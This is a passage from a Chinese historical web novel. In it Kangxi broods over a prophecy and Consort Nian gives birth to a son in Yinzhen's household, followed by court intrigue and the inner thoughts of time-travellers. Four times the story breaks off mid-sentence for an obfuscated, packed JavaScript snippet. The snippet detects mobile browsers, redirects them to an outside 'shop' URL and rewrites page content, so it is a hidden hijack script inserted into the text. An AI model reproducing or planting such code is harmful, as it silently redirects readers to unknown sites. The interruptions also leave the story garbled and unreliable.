祂的笑容既美丽又妖冶,隐隐透出金色的眼神深邃中带着看穿过去与未来的沧桑隽永。 【不论你如何苦心经营试图建造永不坍塌的帝国,你的帝国终有一天会面临外部的破败,内部的腐坏,最终坍塌成碎石,再由后来者在废墟上建造新的大厦。这是自然的法则也是世间一切事物必须接受的命运。】 [这话是什么意思?] 【没有任何特殊含义,只是希望你能够早早看清兴衰更替的必然性,不要妄想你的大清能够千秋万代永不破灭。】 说完,凤龙化为银色光点飘然散去。 康熙如梦初醒般回过神,发现自己依然坐在乾清宫的御座上,方才经历的点点滴滴仿佛一场白日梦境,迷离中透着渗入骨髓的冰冷。 “朕……朕刚才……” 他张开双手,看着因为苍老而逐渐失去弹性和光滑的手掌皮肤,回想盛世祥瑞说的那些话。 [……健壮的勇士终有一天会衰老到直不起腰,不可一世的坚固帝国也难免走向衰弱,在内忧外患中坍塌,这都是世间一切都必须接受的命运,大清帝国也不例外。可是朕……就算朕知道大清帝国终有一天会终结,朕依然妄想大清能够千秋万代地永远续下去……为此,可以不惜代价……不惜一切代价!] 想到此处,康熙起身,对紧跟身旁的隆科多道:“去老四那边瞧瞧是什么情况。” “嗻。” …… …… “哇——” 一声清脆的啼哭打破僵持的局势,接生的稳婆迅速抱起孩子,草草擦拭血迹后便检查孩子的身体,发出欣喜的欢呼:“是阿哥!是小阿哥!” “真是小阿哥吗?” 产房外,从晌午等到掌灯时分的嫡福晋乌拉那拉氏顿时长舒一口气,手捏念珠,口中喃喃道:“佛祖保佑,菩萨保佑,雍亲王府又添了一名小阿哥。” 几位格格也都面露欢喜神色,为雍亲王府又添一名男丁感到欣喜。 唯独李佳氏脸色艰难,苦涩地看着为此事感到喜悦的一双儿女:你们可知道年氏生下阿哥对我而言意味着什么吗? 弘时不知李佳氏内心的痛苦,激动地不断搓手:“太好了!太好了!我又多了一个弟弟!以后就有两个弟弟了。” 赛宝则露出遗憾之色,叹道:“可惜我即将嫁为人妇,不能留在府里陪着弟弟妹妹们一起长大。” “姐姐不必担心,你是作为郡主嫁进同在京城的纳喇家又不是像皇姑她们那样被皇爷爷嫁到草原,还不是想什么时候回家就什么时候回家?至多以后不能每天都和我们在一起。” 弘时一脸天真地安慰同父同母的姐姐。 赛宝听了弘时的安慰,露出欣慰的笑容:“是啊,我是被皇爷爷赐婚嫁给京城的满人勋贵,不是送去草原和亲,只要阿玛心里还念着我,我就能随时回家和你们见面。” 钮祜禄氏和耿佳氏也不约而同露出笑容,道:“能有大格格这样大方得体的长姐,也是下面的弟弟妹妹们的福分。” “都是阿玛的孩子,说这么生分的话做什么?” 赛宝羞涩一笑,随即跑到闻讯赶来的雍亲王面前:“阿玛,侧福晋给阿玛添了一个小阿哥,你赶紧进屋瞧瞧吧。” 闻言,胤禛身旁的苏培盛急忙阻拦道:“爷,妇人产房最是污秽血腥,您身份尊贵,不宜轻易踏足。” “但是她为我生了个阿哥,我想快些见到我的小阿哥。” 胤禛不屑地推开苏培盛,径直走向产房。 他已经三十多岁,膝下却只有弘时、弘昼两个儿子,且弘时才学昏庸难堪大用、弘昼又刚满一岁前途未卜,他急切地需要一个聪明体面的儿子做继承人。 即便心中早有觉悟,见四爷对年氏才出生的孩子寄以如此厚望,乌拉那拉氏心中也不由泛起微妙的涟漪。 但她毕竟是以成为大清皇后为最高目标的雍王府嫡福晋,并且早在失去嫡长子弘晖时就已看穿男人的本性,短暂的不适后,她快步走到胤禛身旁,柔声道:“年家妹妹是知书达理的大家闺秀,瞧见爷进产房,必定坚持下床行礼,伤了身体,影响以后的生养。奴才以为,爷应当在外面稍作等候,让奴才进去把小阿哥抱出来。” “——你?” 胤禛狐疑地看着乌拉那拉氏。 嫡福晋道:“奴才毕竟也是做过母亲的人。” “说的也是……” 胤禛想起长子弘晖,眼中多了几分温情:“快些进去吧。” “嗻。” 嫡福晋起身,走进血腥味浓郁的产房,绕过屏风,走到面色惨白但还保持清醒的年世华面前,柔声道:“妹妹辛苦了。” “姐姐——” 武曌装出要起身行礼的姿势。 “不要起来,刚生下孩子的女人是不能乱动的。” 嫡福晋赶紧按住年世华,无比怜爱地说道:“你要尽快养好身体,给爷生更多的孩子。” “可是……” “一切有我。” 嫡福晋安抚年世华:“我绝不许后院任何人对你有半点怠慢。” “……谢谢姐姐。” 武曌做出感动姿态。 嫡福晋趁机又说了一些安抚话语,等年世华躺下后走到孩子的襁褓面前,看着婴儿还未完全消去水肿的皱巴皮肤,竟再次想起弘晖。 [弘晖才出生的时候也是这样……小小的……皱巴巴的,浑身紫青,丑得好像一只猴子,直到第二天才慢慢舒展开,变成人见人爱的白胖阿哥……倘若他还活着,现在必定已经是孩子的父亲,而我手中抱着的也将是他的孩子……我的孙儿……] 想到此处,乌拉那拉氏的眼泪夺眶而出。 嬷嬷们吓得不知所措:“主子,您……您怎么……” “没什么,瞧见新出生的小阿哥,想到雍亲王府又多了一个希望,心里开心……开心得哭出来了……” 乌拉那拉氏用强颜欢笑掩饰内心的失落和悲伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528810|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 此时乳母上前,给孩子喂出生后的第一口奶。 乌拉那拉氏见小阿哥吃奶声音响亮,不觉露出笑容:“果然是个强壮的孩子。” 稳婆附和道:“奴才进出京城的达官贵人家里接生孩子多年,也是第一次瞧见这么结实的小胳膊小腿,奴才敢打赌,小阿哥长大以后定是个身强体壮的满蒙巴图鲁。” 乌拉那拉氏闻言,叹了口气,道:“雍亲王府子嗣单薄,小阿哥能够一路健健康康聪明伶俐长大,我们就已经心满意足了。” …… 喂奶完毕,新生儿的皱巴皮肤也逐渐舒展,乌拉那拉氏抱着小阿哥走出产房,将孩子交到期盼已久的胤禛手中。 “这……这就是……” 早不是第一次做父亲,但当年氏所生婴孩落入臂弯时,胤禛的身体竟不自觉地颤抖起来。 难得的强壮健康的婴孩…… 还是年氏所生…… “他让我想起我们的弘晖,”胤禛道,“弘晖出生的时候,我也曾这样颤抖地接过孩子,感觉整个大清江山加起来都不及怀里小婴孩更沉更重。” “——可惜弘晖命薄,终究还是没了。” 乌拉那拉氏低头,眼角有泪水闪烁:“若是弘晖还活着,现在也该为人父了。” “是啊,这个孩子……这个孩子……若弘晖还在,我们的长孙多半也已经出生……” 胤禛伤感地看着年氏刚生下的婴儿,感受他非比寻常的分量。 伊格格站在两人身后,内心同样波涛汹涌。 [封建王朝真可怕,特权阶级的男人竟能如此毫无愧疚地娶和自己女儿差不多年纪的女孩做小老婆,还在她给自己生下孩子以后一边感慨大儿子如果活着应该已经让自己抱上孙子一边和大老婆讨论小老婆生下的孩子长得伶俐可爱,完全不顾及大老婆的心情以及在场其他女人的心情……] [不过看她们的模样,似乎也都发自内心地认同这种事情,反倒是我这个来自四十五世纪的人永远都无法适应这么恶心恐怖的压迫行为!人吃人,人压迫人,上位者理所应当地享受全部社会资源……太恶心!太可怕!我……我……] 危险的念头一闪而过,伊格格下意识抓紧宫扇。 [不行!不能这样做!做了以后我就永远不能回四十五世纪交毕业论文、享受原本的生活!我可不想……不想……] 不想什么? 伊格格抬头,看着周围一张张对压迫和奴役都麻木不仁的年轻面容,内心火烧一般煎熬。 [做违背历史进程的事情会被时空穿梭管理规定惩罚,永远不能回去……遵守时空穿梭管理规定假装标准的十八世纪的古人,我很快就能安全返回四十五世纪,交论文,拿毕业证,可是代价……代价是什么?我会不会因此一辈子都无法原谅我自己?原谅自己曾经的见死不救吗?] 【她们的命运可以被改变,如果你足够无私、勇敢又奋不顾身——】 恶魔的私语在耳边响起,伊格格紧张到咬破嘴唇。 59.历史的时间点 当天晚些时候,雍亲王府新添小阿哥的消息送到康熙案头。 “确定是个小阿哥?” 康熙眯眼。 凤龙的话正一字一句地滚过心头。 【胤禛有龙气,但他也只是龙气的承接者并非龙气真正的主人,龙气真正的主人此刻刚刚降生——】 【龙气带来了年氏的孩子……】 【大清真正的主人将在皇太子二次被废当月出生……】 【……】 所以—— 康熙越发心惊胆战,手指微微颤抖。 奉命前往雍亲王府探听消息之人自然不知此等内情,闻言,毕恭毕敬回禀道:“千真万确,奴才的人当时就在年氏院子里,亲眼瞧见四阿哥、四福晋他们抱着孩子欢欣喜悦,说雍亲王府从此又多了一个阿哥。” “老四的孩子确实少得可怜……朕记得他的长子叫弘晖,若还活着如今也是十六七岁的年纪了。” 康熙叹了口气,决定亲自前往永和宫将此等好消息告诉德妃。 “嗻——” …… 年世华直到掌灯时分才生下孩子,所以,宫中的德妃虽然知道年氏将要生产,却不知年氏的孩子已经生下并且是个小阿哥。 直到康熙帝驾临永和宫,亲口告知喜讯。 “太!太好了!老四又多了一个儿子!” 德妃脸上泛起欢喜的红晕——她虽然偏爱胤禵,但胤禛毕竟也是她的儿子。 “这孩子出生的时间也是很巧,刚好在朕下旨废太子的时候。” 说到这里,康熙看了眼德妃,不动声色道:“玛琭(‘malu’,德妃闺名,意为‘酒瓶’),你说这份巧合真的只是巧合吗?” “奴才一介女子久居深宫,哪里懂得这些。” 德妃不敢接话,脑袋不自觉地低垂下去。 “但是它偏偏就发生了……巧合……巧合这种东西有时真让人不知道该怎么处理……巧合……” 康熙长叹一口气,示意德妃走近些。 “嗻——” 德妃摸不清康熙此刻的心情,小心翼翼地坐在康熙身旁。 康熙看着德妃那泛出皱纹的眼角和不再光滑的皮肤,不禁感叹道:“你老了。” 闻言,德妃大惊,赶忙起身跪地禀告道:“皇上,奴才的四阿哥如今已经三十多岁,奴才……” “朕没有嫌弃你的意思,是人都会老,你会老,朕也在不断的变老……越来越老……越来越不中用……可是朕……朕不想老……至少在朕为大清选出合适的继承人以前,朕不能老……” 康熙抬手,示意德妃起身,眼神微妙:“朕还记得朕上次来永和宫时和你聊了你的两个儿子,当时你觉得老四不如十四,现在还是这样认为吗?” “皇上,奴才至今仍然认为老四不如十四。” “为什么?因为十四是你亲手养大?” “不单单因为十四是奴才亲手养大的孩子,更是因为……因为十四确实处处比老四强……奴才不想说偏心话,但在奴才眼中老四不管何时都不如十四……奴才……” “朕知道了。” 康熙垂眸,打断德妃的话:“对你而言,老四处处不如十四,但在朕看来十四却远不如老四,尤其是关系到朝堂大势的时候,老四……老四办事成熟稳重谨慎细致,让朕非常放心。” “皇上,十四近年来才开始为皇上办差,新人做事难免手忙脚乱错处连连,但是奴才相信以十四的聪明才智,只需稍加锻炼必定表现不输老四。” 德妃努力为十四说好话。 作为后宫妃子,她不敢公然插手前朝储位之争,尽可能婉转小心地给偏爱的儿子说好话,让皇帝对十四更多几分喜欢。 “假以时日吗?也对,哪怕是秦皇汉武也不可能生下来就知道怎么治理天下统御四方,何况十四如今还年轻……但是朕……朕已经不年轻了……” 说到这里,康熙又是一声长叹:“你明日去雍亲王府一趟。” “奴才正有此意。” 德妃低头,谢恩康熙。 …… …… 老四家中新添了个小阿哥,与雍亲王府只有一墙之隔的八贝勒府顿时人人坐不住。 尤其是八福晋。 “什么!四爷家里又添了一个小阿哥!还是年氏所生!” 收到噩耗,八福晋发出惊呼:“这事真的假的!她入府才一年半居然就——” “这种关系重大的事情,怎么可能有人作假?” 胤禩脸色阴沉地走进房间,看了眼唉声叹气的八福晋:“四哥也是福运,年氏入府不过一年半,后院接二连三添了三个孩子。” “三个孩子……” 八福晋愣了一下,紧接着想起钮祜禄氏的格格生于康熙五十年八月、耿佳氏的阿哥生于康熙五十年十一月,并且这两个孩子都是年氏被康熙指婚给雍亲王后怀上的。 “——她是福运之人吗?进门不过一年半就……这……这种事情……” “这种事情,我们不接受也得接受。” 八贝勒苦笑道:“从膝下只有一子一女的绝对弱势到膝下三子二女的略占优势,并且新出生的那个孩子的母亲还是年氏……如此一来,年家尤其是年羹尧必定从此绑定四哥……处处与四哥共进退,而我们……” “爷在担心什么?” “我担心四哥并没有他一贯表现得那么淡泊名利。” 胤禩阴嗖嗖道:“当然,以四哥当前的筹码,他也确实有资格觊觎皇位,毕竟,镶白旗和年羹尧都已经牢牢握在手中,在皇阿玛跟前也深受信任,子嗣稀少这条短板也随着年氏入府得以圆满解决……反观老九和我……近年来日子越发艰难,十四虽和我们结盟,可十四……十四……” “爷信不过十四爷?” “他太年轻了。” 胤禩无情断言。 …… …… 不论内心深处真实想法如何,收到雍亲王府新添一名小阿哥的“喜讯”后,近在咫尺的八贝勒府和九贝子府都在天亮后派人送来了贺礼。 八贝勒送来的是得到康熙帝赞颂的松江人董其昌的墨宝真迹,和西洋人往来密切的九贝子则送的则是一把来自法兰西的象牙火木仓,洁白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552622|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象牙枪柄上镶嵌着用珐琅和螺钿组成的美丽花纹。 “老九和西洋人的往来越发密切了。” 胤禛接过胤禟送来的西洋象牙火木仓,轻抚象牙枪柄,叹道:“可惜此类物品空有奢美,终究是金玉其外败絮其中,难堪大用。” “可以摆在房间里作为漂亮的装饰本身也是一种用处,不是吗?” 胤禟似笑非笑。 胤禛也跟着露出笑容。 随后,胤禛请两位同父异母的弟弟坐下:“二哥的事情——” “二哥也是命途坎坷,好不容易复立为太子,如今又……” 胤禩装模作样地叹了口气:“皇阿玛的心思果真是天威难测。” “福兮祸兮,世事难料。” 胤禛看向胤禟:“听说老九你前些日子在如今为我做事的传教士穆景远的介绍下绕过广州十三行英吉利人做了一笔大买卖?” “是有这么回事。” 胤禟坦荡承认。 “那东西——” “东西要到明年开春时才能交付,”胤禟直言不讳,“英吉利人那边最近也为了王位继承权的事情闹得厉害。” “哦?愿闻其详?” “根据传教士那边的说法,事情的起因要从前两代国王开始说起——” …… 【……1688年也就是康熙二十七年,英国发生光荣革命,英王詹姆斯二世和其信奉天主教的后裔均被逐离英国。詹姆斯二世信奉新教的女儿玛丽和安妮陆续继位,但是很不幸,两位女王都没有留下可以继承王位的子嗣。 具体的继位顺序如下: 1689年2月,詹姆斯二世长女玛丽(史称玛丽二世)与丈夫荷兰执政奥兰治亲王威廉(史称威廉三世)同时登位,并通过《1689年权利法案》; 1694年,玛丽二世去世,安妮女王登位; 1701年,安妮女王长子夭折,英国国会为避免兼领英国国教(新教)的国王宝座再次落入天主教徒手上,通过《1701王位继承法/1701嗣位法》,该法案规定若《1689年权利法案》中提到的信奉新教的继承人全部无子而亡后,王位由英王詹姆士一世的外孙女,汉诺威选帝侯夫人苏菲亚和她的信仰新教的后代继承。 1714年,即康熙五十三年,安妮女王去世,位于王位继承序列第52名的汉诺威选帝侯,乔治一世(Ge I),依照《1701年王位继承法》继位为大不列颠国王及爱尔兰国王,开创汉诺威-温莎王朝。 光荣革命是英国历史上具有重要意义的事件之一,它标志着……】 武曌对光荣革命的历史意义毫无兴趣,她只关注英国王位的更替情况。 [现在是康熙五十一年,离英吉利王位变动的康熙五十三年只剩两年时间……从天幕提供的内容可得,安妮是个体弱多病的女人……] 【姐姐准备做什么?】 凤龙兴致勃勃。 武曌抬手,关闭复刻版天幕。 [暂时还没想到做什么,但总觉得要牢牢把握这个时间点,做一些对未来大有裨益的事情。] 60.毫无自知之明 听完胤禟从西洋传教士处获得的英吉利王室因为新教、旧教之争从康熙二十八年开启并延续至今的王位纷争故事,胤禛感慨道:“西洋果然是蛮夷之国,竟迷信无知到这般地步。” “而且他们不仅允许女人和女婿继承王位,还允许外嫁的女儿的后代继承王位,唯一的要求是必须信仰新教。” 胤禩也感到匪夷所思。 胤禟解释道:“西洋是蛮夷之国,那边一千多年来都是宗教大于王权,王权只在特定的血统中流转,所以在没有男性继承人的情况下,拥有王室血统的女性也可以继承王位,当然,这些女性的婚姻对象必须也是拥有王室血统的男人。” “近亲结婚吗?果然是一群蛮夷!” 胤禛摇摇头,旧事重提:“英吉利国内的故事已经讲完,但是老九依然没讲你找英吉利人做的大买卖是什么?” “是——” 胤禟想了一下,略显肥胖的脸颊挤出微笑:“是三艘大量装备火器的航海船。” “哦?” 胤禛明知故问:“九弟你为何突然斥巨资买三艘装备火器的航海船?” “因为——” 胤禟咬了下嘴唇,说出自己的想法:“我想组建商队出海和南洋人做生意。” “皇阿玛可是——” “我知道皇阿玛下令封海,不许私人船只出海和南洋国家做贸易,可我是皇阿玛的儿子,我的商船队不是私人的商船队,不是吗?” 胤禟直言相告:“何况占据南洋地区的葡萄牙和西班牙如今都自顾不暇,和西班牙竞争‘海航帝国’的英吉利又因为国内王位更替变动,暂时没有余力和内忧外患的西班牙决一死战并收编西班牙在南洋的势力。既然如此,为什么我们不趁机收下南洋地区?” “你说得……” 胤禛皱眉,若有所思。 “四哥,我知道你在担心什么。你担心我得到英吉利人的装备火器的航海船以后拆下船上的火器组建私人军队妄图关键时刻对皇阿玛不利。可是我……我几斤几两,旁人不清楚,你和八哥还不清楚吗?” 胤禟苦笑道:“我几乎所有的天分都落在了经商赚钱上,不然也不至于至今都只是个贝子!皇阿玛也极端不待见我,嫌弃我身为皇子却与民争利,一身铜臭,卑贱不堪!” “——若你所言属实,占据南洋的葡萄牙人和西班牙人如今都内忧外患自顾不暇,和西班牙人竞争的英吉利人与荷兰人又受困于国内局势暂时腾不出手,趁此机会以皇子身份调集军队与商船队一起下南洋驱赶葡萄牙人和西班牙人、接收他们的势力和土地确实是一个不错的选择,但是……” 心动之余,胤禛也露出担忧困惑神色:“我不认为皇阿玛会答应你的请求,派遣两广沿海军队与你的商船队一起出征。而以你的聪明才智,不可能想不到这点。” “四哥依然认为我向英吉利人订购带火器的航海船是要对皇阿玛不利?” 胤禟脸上泛起黑色。 胤禩见状,果断维护:“四哥,皇阿玛严禁我们兄弟接触军队更不用说豢养私兵,就算老九真有那份心,他也没那个本事,不是吗?” “也是。” 胤禛皮笑肉不笑。 胤禩却是汗流浃背。 胤禟则脸上堆满谄媚,承诺道:“四哥,倘若组建商船队的计划最终落空,我会毫不犹豫地把装备火器的航海船全部上缴皇阿玛,绝不让皇阿玛因为此事对八哥和我再生不满。” “那便是最好不过。” 胤禛虚伪地笑着,起身送客。 胤禩和胤禟也一如既往地努力挤出笑容。 …… 才出雍亲王府,胤禟立刻板下脸:“老四果然咄咄逼人!” “谁让你最近越来越高调。” 胤禩好声没好气地看了胤禟一眼:“和英吉利人的船只买卖,要尽快完成。” “这是自然,此事关系我们的生死成败。” …… …… 胤禩、胤禟走后不久,宫里传来消息,德妃娘娘的车驾即将抵达雍亲王府。 “额涅果然还是在乎孙儿。” 胤禛叹了口气,亲自出门迎接,却在看见骑马走在车队最前方的胤禵时面色僵住。 “四哥——” 胤禵不知胤禛心中微妙,见到胤禛赶紧翻身下马热络打招呼:“恭喜四哥,家中又添了一个小阿哥。” “十四弟你也要加油啊。” 胤禛笑容扭曲地拍着胤禵的肩膀,领着嫡福晋等人来到马车前:“儿子给额涅请安。” “起来,赶紧起来。” 德妃笑盈盈说着,在嬷嬷们的搀扶下走出马车,前呼后拥地进入内院,径直朝着年氏的小院走去,沿途不忘叮嘱道:“年氏给你生下了阿哥,你得好生厚待着。” “额涅放心,儿子一直都将年氏母子视若珍宝。” “年氏家世好又德才兼备,还能给你生儿子,确实是一等一的好。” 提到年氏的好,德妃笑得合不拢嘴,胤禛等人陪着微笑附和。 唯独胤禵搀着母亲的手,笑得大大咧咧毫无自知之明。 …… 德妃亲临,虽然完全不想下地行礼,但在场面上武曌还是要说几句体面话的。 在嬷嬷的帮助下,躺床上养身体的她坐直身体:“德妃额涅到来,媳妇年氏身体有恙,不能下地迎接,还请——” “别说话,你才生下孩子要好好静养呢!” 德妃心情愉悦,笑呵呵地拦住露出行礼意图的年世华,并坐到年氏床边,握住生育完孩子后显得苍白的手腕,痛心不已:“虽说女人生孩子是天经地义的事情,可瞧见本来花一样的你生完孩子后变得这么憔悴,我心里顿时止不住地难受,太心疼了,真是……” 说着说着,德妃的眼泪掉下来。 “……我入宫多年,第一次生孩子的时候也是你这般的年纪……那时候痛得整个人都……我一个劲地抓着嬷嬷说不生了不生了!生完这胎以后再也不生了!后来……后来又怀上孩子,生的时候依旧很痛,但毕竟有过第一次的经验,远不如第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573787|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次生孩子那么疼……” 言下之意竟是—— 同为生过孩子的女人,我理解你的痛苦,希望你养好身体以后能给我儿子再生几个孩子。 “——德妃额涅说得及时,年氏受教。” 武曌低头,隐藏极度不爽眼神。 因为尊卑原因只能站在嫡福晋身后的伊格格也感到别样的憋屈。 [为什么?为什么这个时代不仅男人压迫女人,女人也要压迫女人?少女时期就被迫生孩子的婆婆难道不该更怜惜、同情第一次生孩子的年轻媳妇吗?] [……因为她们从未意识到自己正在被压迫,她们麻木地活在世上,觉得一切都是理所应当、是她们身为女人本就该做的事情。] 想到这里,伊格格突然觉得毛骨悚然。 她偷偷摊开双手,感觉手掌正被从天而降的看不见的黑色绳索洞穿刺入,周围的每个女人也都有同样的黑色绳索绑住了四肢——在空中无数只看不见的透明大手的操控下,她们如木偶般说话做事,却坚信所有举动都是自己的意愿。 [而我……我看到了真相,却没有能力拯救她们……哪怕只是拯救一个人也……] 伊格格异常悲伤,眼泪婆娑地看着面前正上演的一幕幕。 “好好养身体,早日给小阿哥再生几个弟弟妹妹。” “年氏明白,年氏必定恭敬听从。” “还有呢?” 德妃笑容满面地看着年世华。 “还有就是一定会尽全力教导小阿哥,让小阿哥早日成才。” “身为孩子的额涅,教养孩子、让孩子早日成才确实是你必须做的事情,但你同时也是四福晋的副手,后院的时候可也不能有半点疏忽。” 德妃显然对年世华寄以厚望。 “奴才明白。” “最后一点也是最重要的一点——” 德妃微微一笑:“即便有了自己的孩子,也不能厚此薄彼。” “奴才知道。” “嗯,如此便是最好。” 对亲儿子都能分亲疏远近的德妃若无其事地叮嘱完年世华,抱过才出生几日的小婴儿,看着孩子肥嘟嘟的脸蛋,笑得合不拢嘴:“这孩子长得真是好看,就是来得太晚……还有弘时也是……弘时要能早出生几年,我现在怕不是已经抱上重孙儿~” “额涅教训的极是。” 胤禛低眉顺眼地附和,心情糟糕透顶。 胤禵不知兄长心中有怨,谨守礼法侯在年氏房间外的他此刻正不安地左右张望:“额涅怎么还不抱着孩子出来?难不成我得进屋才能瞧见我的小侄子?” 【这家伙看起来比姐姐的预想更加愚蠢~】 树干上,凤龙兴致勃勃地嘀咕着。 祂看中了胤禵腰上的黄金奔马饰品,却因为不能在人前随意显出身形的约定而坐立不安,只能摸着下巴不住地流口水。 【好烦啊!为什么人类要没事找事地规定那么多奇怪的条条框框,就不能干脆点?想要什么直接撸起袖子打架!实力决定一切!】 61.干政的萌芽 德妃在雍亲王府只停留了一个时辰就带着胤禵匆匆离去。 虽然早知道额涅爱十四弟胜过爱自己,此情此景,依然让胤禛感到由衷不适,抱着才出生的小阿哥,感叹道:“倘若今日是十四弟家中新添小阿哥,额涅必定不会如此来去匆匆。” “爷,有些事终究强求不得。” 乌拉那拉氏试图安抚胤禛。 胤禛静静地看着她,冰冷的眼神让乌拉那拉氏不由自主地倒退一步,连声道:“是奴才僭越了。” “你不是僭越,你是太蠢笨,不知道什么时候说什么话。” 说完,胤禛将孩子还给乳母,捏着念珠拂袖而去。 乌拉那拉氏担心激怒胤禛,赶紧追上去。 以李佳氏为首的一干人纷纷跟随。 前一秒还热闹得人满为患的房间顿时变得冷冷清清、鸦雀无声。 凤龙于是走上前,坐在武曌身旁。 【感觉怎么样?】 [很安静,很适合我。] 武曌侧头,看了眼凤龙。 [方才……] 【方才我观察胤禵,感受到他内心涌动着愚蠢的野心。和其他皇子一样,他的内心深处也涌动着对皇位的激烈渴望,但他同时又很天真,将野心寄托在胤禛、胤禩身上,认为已经失去竞争皇位资格的他们会协助自己得到皇位。】 [世上竟然还有如此天真的野心家?] 武曌轻笑。 [皇家的感情寡淡到同父同母的双胞胎兄弟尚且互相算计,他居然敢把野心寄托在胤禛和胤禩身上?] 【可能是因为他被宠坏了。】 说完胤禵,凤龙又告知一则喜讯—— 【康熙命人拟旨要将年羹尧升为四川总督,年希尧也即将被调入内务府供职。】 [哦?] 武曌面露喜色。 要知道,年羹尧此人虽然在历史直播天幕中与大将军头衔捆绑密切,但他本人其实是文官出生,通过科举考试进入官场,三十岁被任命为正三品的四川巡抚,上任后恰逢担任四川提督的岳升龙双目失明且因为经济问题戴罪在家、继任提督才德不及难以胜任四川军务,这才有机会以巡抚之职兼管军务,展露出文武双全的一面,得到康熙的器重,允许他越过顶头上司、川陕总督殷泰,直接给皇帝上奏折。 但也因为这份受宠,恃宠而骄的年羹尧和名义上的顶头上司、川陕总督殷泰的关系非常糟糕,几度剑拔弩张,全靠康熙从中调和。 现在,康熙正式拟旨要将年羹尧从正三品的四川巡抚升为从二品的四川总督,说明—— [康熙已经选定了年羹尧,只等他在四川总督的位置上做出成绩就让他接替殷泰成为下一任川陕总督……川陕地处西北,是军事重地,川陕总督这个位置……] 想到此处,武曌笑容明媚。 [年羹尧把持西北军事,年希尧进入内务府掌管皇家财物进出,这种情况下,如果我还坚持着‘天予不取’的谦虚,岂不是白活一场?] 【姐姐打算——】 [先想办法扶胤禛登基,当然,在胤禛登基以前,必须让年家拥有更多的政治筹码,另外……] 武曌抬手,手指轻抚下巴。 [胤禟和英吉利人做生意应该不只是为了三艘装备着火器的航海船……如果能和胤禟谈妥条件,让这个处处利字当头的家伙确信支持胤禛和我可以得到更多的好处……] 【胤禟并不是个容易被说服的家伙,他太在乎眼前的利益,无法被理想和伟大打动。】 [我倒觉得只在乎眼前利益的人更容易被说服,因为这种人往往既贪婪又短视。] …… …… 二废太子引起的朝堂变动直到康熙五十二年将要结束时都没有完全结束。 大量官员因为卷入此事被罢免甚至丢掉脑袋,废太子胤礽更是再次被圈禁,在咸安宫中过不见天日的生活。 与此同时,雍亲王府内却是一片其乐融融。 大格格赛宝在康熙五十一年封为郡主后指婚出嫁,与夫君纳喇星德虽然算不上举案齐眉琴瑟和鸣,却也是难得的夫妻和睦、婆媳和谐,并且由于夫家也在京城,大格格得以每月返回雍亲王府承欢膝下。 三阿哥弘时作为雍亲王府实际上的庶长子,虽然文武成绩始终不如人意,但因为身后还有两个同父异母的弟弟,从此学习压力骤减,性格也逐渐开朗,很快就从阴沉压抑的男孩变成了活泼讨喜的少年。 至于钮祜禄氏的宝珠格格、耿佳氏的弘昼阿哥、年氏的弘福阿哥…… 孩子年纪尚小,看不出未来有什么成就,可即便是最挑剔最刻薄的人,看到三个粉雕玉砌的小娃儿在嬷嬷丫鬟们的搀扶下跌跌撞撞地跑步、走路,也会露出由衷的慈爱笑容。 “雍亲王府这三个孩子都是一等一的福相,长大以后必定前途无量~” “谢八福晋吉言。” 武曌垂眸,收下八福晋言不由衷的夸赞。 八福晋闻言,眼中掠过一片阴影,假意开朗地问道:“听说皇上已经正式任命年羹尧为四川总督?” “确有此事。” “可我记得四川那边一直都归川陕总督管,川陕总督下面分设陕西巡抚、陕西提督、四川巡抚、四川提督……皇上突然凭空添出一个四川总督,怕不是——” “八福晋,大清祖训,后宫不得干政。” 武曌见八福晋有心挑拨离间,用“后宫不得干政”堵她的嘴巴。 “后宫确实不能干政,可这里是后院啊。” 八福晋假装没听懂年世华的话,继续自顾自说下去:“年羹尧本就和殷泰关系不睦,如今皇上为了抬举他特意提拔他为四川总督分殷泰这个川陕总督的权,以殷泰的性格,必定不会善罢甘休——” “八福晋!” 武曌打断八福晋的喋喋不休,神色严肃道:“我是妹妹,您是姐姐,依着尊卑规矩,妹妹不能对姐姐训话,但是后宫不得干政,后院更不能过问前朝的事情。您这样一而再再而三地提朝堂事情,分明是要把妹妹推到万劫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 